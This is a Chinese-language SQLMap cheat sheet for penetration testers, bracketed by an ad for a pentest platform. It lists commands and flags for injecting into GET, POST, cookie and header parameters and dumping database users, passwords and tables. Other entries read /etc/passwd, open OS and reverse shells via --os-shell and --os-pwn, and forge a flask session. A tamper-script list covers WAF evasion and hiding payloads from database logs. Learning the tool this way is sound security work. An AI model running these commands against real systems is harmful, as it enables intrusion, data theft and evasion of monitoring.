SQLMap - Cheetsheat

即时可用的漏洞评估和渗透测试设置。从任何地方运行完整的渗透测试,拥有20多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出shell并享受乐趣。
SQLmap的基本参数
通用
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
检索信息
内部
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
数据库数据
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
注入位置
从Burp/ZAP捕获
捕获请求并创建一个req.txt文件
sqlmap -r req.txt --current-user
GET请求注入
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST请求注入
sqlmap -u "http://example.com" --data "username=*&password=*"
头部和其他 HTTP 方法中的注入
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
注明注入成功时的字符串
--string="string_showed_when_TRUE"
Eval
Sqlmap 允许使用 -e
或 --eval
来在发送每个有效负载之前使用一些 Python 一行代码进行处理。这使得在发送有效负载之前以自定义方式处理有效负载变得非常简单和快速。在以下示例中,flask cookie session 在发送之前由 flask 使用已知的密钥进行签名:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Shell
Shell
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
读取文件
--file-read=/etc/passwd
使用SQLmap爬取网站并自动利用漏洞
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
二次注入
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
阅读这篇文章,了解如何使用sqlmap执行简单和复杂的二阶注入。
自定义注入
设置后缀
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
前缀
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
帮助找到布尔注入
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
篡改
记住你可以在Python中创建自己的篡改器,而且非常简单。你可以在二次注入页面中找到一个篡改器示例。
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
apostrophemask.py
用其UTF-8全角对应字符替换撇号字符
apostrophenullencode.py
用其非法的双Unicode对应字符替换撇号字符
appendnullbyte.py
在有效载荷末尾附加编码的NULL字节字符
base64encode.py
对给定有效载荷中的所有字符进行Base64编码
between.py
将大于运算符('>')替换为'NOT BETWEEN 0 AND #'
bluecoat.py
在SQL语句后的空格字符后替换为有效的随机空白字符。然后将字符'='替换为LIKE运算符
chardoubleencode.py
对给定有效载荷中的所有字符进行双重URL编码(不处理已编码的字符)
commalesslimit.py
将类似'LIMIT M, N'的实例替换为'LIMIT N OFFSET M'
commalessmid.py
将类似'MID(A, B, C)'的实例替换为'MID(A FROM B FOR C)'
concat2concatws.py
将类似'CONCAT(A, B)'的实例替换为'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py
对给定有效载荷中的所有字符进行URL编码(不处理已编码的字符)
charunicodeencode.py
对给定有效载荷中未编码的字符进行Unicode URL编码(不处理已编码的字符)。"%u0022"
charunicodeescape.py
对给定有效载荷中未编码的字符进行Unicode URL编码(不处理已编码的字符)。"\u0022"
equaltolike.py
将所有等号运算符('=')替换为LIKE运算符
escapequotes.py
斜杠转义引号('和")
greatest.py
将大于运算符('>')替换为'GREATEST'对应字符
halfversionedmorekeywords.py
在每个关键字之前添加版本化的MySQL注释
ifnull2ifisnull.py
将类似'IFNULL(A, B)'的实例替换为'IF(ISNULL(A), B, A)'
modsecurityversioned.py
用版本化注释包围完整查询
modsecurityzeroversioned.py
用零版本化注释包围完整查询
multiplespaces.py
在SQL关键字周围添加多个空格
nonrecursivereplacement.py
用适合替换的表示形式替换预定义的SQL关键字(例如.replace("SELECT", ""))过滤器
percentage.py
在每个字符前添加百分号('%')
overlongutf8.py
转换给定有效载荷中的所有字符(不处理已编码的字符)
randomcase.py
将每个关键字字符替换为随机大小写值
randomcomments.py
向SQL关键字添加随机注释
securesphere.py
附加特殊制作的字符串
sp_password.py
在有效载荷末尾附加'sp_password'以自动混淆DBMS日志中的内容
space2comment.py
将空格字符(' ')替换为注释
space2dash.py
将空格字符(' ')替换为破折号注释('--')后跟随一个随机字符串和一个换行符('\n')
space2hash.py
将空格字符(' ')替换为井号字符('#')后跟随一个随机字符串和一个换行符('\n')
space2morehash.py
将空格字符(' ')替换为井号字符('#')后跟随一个随机字符串和一个换行符('\n')
space2mssqlblank.py
将空格字符(' ')替换为来自有效备用字符集的随机空白字符
space2mssqlhash.py
将空格字符(' ')替换为井号字符('#')后跟随一个换行符('\n')
space2mysqlblank.py
将空格字符(' ')替换为来自有效备用字符集的随机空白字符
space2mysqldash.py
将空格字符(' ')替换为破折号注释('--')后跟随一个换行符('\n')
space2plus.py
将空格字符(' ')替换为加号('+')
space2randomblank.py
将空格字符(' ')替换为来自有效备用字符集的随机空白字符
symboliclogical.py
将AND和OR逻辑运算符替换为它们的符号对应字符(&&和
unionalltounion.py
将UNION ALL SELECT替换为UNION SELECT
unmagicquotes.py
将引号字符(')替换为多字节组合%bf%27,并在末尾添加通用注释(使其起作用)
uppercase.py
将每个关键字字符替换为大写值'INSERT'
varnish.py
附加HTTP头'X-originating-IP'
versionedkeywords.py
将每个非函数关键字用版本化的MySQL注释括起来
versionedmorekeywords.py
将每个关键字用版本化的MySQL注释括起来
xforwardedfor.py
附加伪造的HTTP头'X-Forwarded-For'

即时可用的漏洞评估和渗透测试设置。从任何地方运行完整的渗透测试,使用20多种工具和功能,从侦察到报告。我们不取代渗透测试人员-我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出shell并享受乐趣。
最后更新于